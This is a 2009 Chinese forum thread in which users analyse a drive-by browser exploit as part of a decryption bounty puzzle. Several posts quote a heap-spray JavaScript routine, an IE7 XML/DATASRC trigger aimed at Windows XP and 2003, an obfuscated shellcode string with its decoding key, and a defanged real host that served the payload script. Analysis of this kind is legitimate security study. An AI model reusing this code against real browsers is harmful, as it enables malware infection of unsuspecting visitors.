[解密悬赏][第17期][完成]

显示全部楼层 · 发表于 2009-1-23 20:59:42

看着眼花可以分行，不过这个似乎不能分..

显示全部楼层 · 发表于 2009-1-23 21:08:42

结果呢

显示全部楼层 · 发表于 2009-1-23 21:11:17

红色那一段应该是构件溢出用的吧
0x0a0a0a0a-0x100000 这段是溢出
至于挂马的东东米找到 = =

cr<Sipt language="javascript">function sleep(KIZS1) {
   var qQI_QKE2 = new window["Date"]()["getTime"]();
   for (var rrBravDu3 = 0;
   rrBravDu3 < 1e7;
   rrBravDu3++) {
   if ((new window["Date"]()["getTime"]() - qQI_QKE2) > KIZS1){
         break;
      }
   }
   }
    function spray(ueH4){
   var Ki5 = 0x0a0a0a0a;
var AmqoX6=window["unescape"];
var Ozy7 = AmqoX6(ueH4);
var bDMp_v8 = 0x100000;
var seMDauV9 = Ozy7["length"] * 2;
var T10 = bDMp_v8 -(seMDauV9+0x038);
var Hoo$TKIu11 = AmqoX6("");
Hoo$TKIu11 = getSampleValue(Hoo$TKIu11,T10);
aaablk = (Ki5 - 0x100000)/bDMp_v8;
zzchuck = new window["Array"]();
for (i=0;
i<aaablk;
i++){
         zzchuck = Hoo$TKIu11 + Ozy7;
}
   }
   function getSampleValue(YOTs12, cRMZ13){
      while(YOTs12["length"]*2<cRMZ13){
         YOTs12 += YOTs12;
}
   YOTs12 = YOTs12["substring"](0,cRMZ13/2);
return YOTs12;
var spspsps="x";
}
   </script><script src="woriniss.js"></script><script>sleep(0);
</script><script>nav=navigator["userAgent"]["toLowerCase"]();
if (navigator["appVersion"]["indexOf"]('MSIE')!=-1){
   version=window["parseFloat"](navigator["appVersion"]["split"]('MSIE')[1])}
   if (version==7){
   w2k3 = ((nav["indexOf"]('windows nt 5.2')!=-1) || (nav["indexOf"]('windows 2003')!=-1));
wxp = ((nav["indexOf"]('windows nt 5.1')!=-1) || (nav["indexOf"]('windows xp')!=-1));
if (wxp||w2k3)window["document"]["write"]('<XML ID=I><X><C><![CDATA[<image SRC=http://r
ਊ
r
.book.com src=http://www.google.com]]><![CDATA[>]]></C></X></xml><SPAN DATASRC=#I DATAFLD=C D'+'ATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>');
var HDuVThUk1=1;
while ( HDuVThUk1 <= 10 ) {
   window["status"]=" ";
HDuVThUk1++;
}
   }
   </script>

显示全部楼层 · 发表于 2009-1-23 21:14:02

挂马还不知在哪

不过还是没看懂........................

这段是触发漏洞的貌似 image SRC 这段有问题 = =以前见过
if (wxp||w2k3)window["document"]["write"]('<XML ID=I><X><C><![CDATA[<image SRC=http://& #114;& #2570;& #114;.book.com src=http://www.google.com]]><![CDATA[>]]></C></X></xml><SPAN DATASRC=#I DATAFLD=C D'+'ATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>');

[ 本帖最后由拍黄瓜于 2009-1-23 21:23 编辑 ]

显示全部楼层 · 发表于 2009-1-23 21:24:52

提示：中间有个脚本，再仔细看看，就一步之遥了。

显示全部楼层 · 发表于 2009-1-23 21:26:02

在这个里面><script src="woriniss.js"></script><script>，然后再分析就出来了

显示全部楼层 · 发表于 2009-1-23 21:30:49

刚百度了下
基本猜对了

应该就是woriniss.js

= =但是怎么下载还不知

显示全部楼层 · 发表于 2009-1-23 21:33:49

不行了.............. 脚本完全不会..............

= =高人给过程吧

显示全部楼层 · 发表于 2009-1-23 21:42:33

蛋疼了.........

hxxp://www.709sese.cn/a1/woriniss.js
就是了................

r vaa1="sp";ray(a1+"9090"+a1+""+a1+"4$XXXX31f"+"e0!@"!!I!!!K!!1!!$"!!!!!l !!g!!!"!!!!!e !!!!!"!!-!!!@ !!;!!!yrrKaI!1!!v#!!!!!yrrKI!1!!v#!!!!!yv%!!hf~z&~ Gf$%!!z5 !!#BLEc%B)qqI% !!srq"!!)9U"a!q uu\(= %1b !!!prqqq"+"qq"+"qvq"!!8!!!E%!!!A"!!rrrrT.Y$U'ta$0 %-!:quu!!!q#!!!V+`#!!v !!I!!!rvwqu?!!!qt#!!!V+*#!!vy~z#ywv)K)vV5|#!!I@LD!IhdgS)!!!TK!U#!! !!U)e!U= !!1~ !!!INO!!ITSML4e%qqk#!!)KMIOUEM4e%qq#!!)I!!ITRDS4e%qq !!)IBWV!IRIEN4e%qq !!F)IWFY!4e%qq !!c% !!I:gXq !!) !!I"-q !!) !!I,]q !!)N !!Iwq !!)z !!I%~qW !!)IYI=qC !!) !!IAqo !!)> !!Ihq !!)I?q !!)Ix#q3 !!)!!!I_Rq!!!)!!!Iq!!!)Ivq!!!)_I;[?#q!!!)KIzq!!!)wIq!!!)cIIq!!!)v!!!IS7qS!!!)e2KDqqInn$q!!!).!!!Io/q!!!)EaY1a-Q=a)*a]aAMdu$Y"k9{"h"U&,"]T{"G-j{="%"e=@GIUUQENHYJ@BNLENVOFSDYD!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!");

[ 本帖最后由拍黄瓜于 2009-1-23 21:44 编辑 ]

显示全部楼层 · 发表于 2009-1-23 21:52:44

密钥是21...

...

[其它] [解密悬赏][第17期][完成]

回复 103楼拍黄瓜的帖子

[其它] [解密悬赏][第17期][完成]

回复 103楼 拍黄瓜 的帖子

回复 103楼拍黄瓜的帖子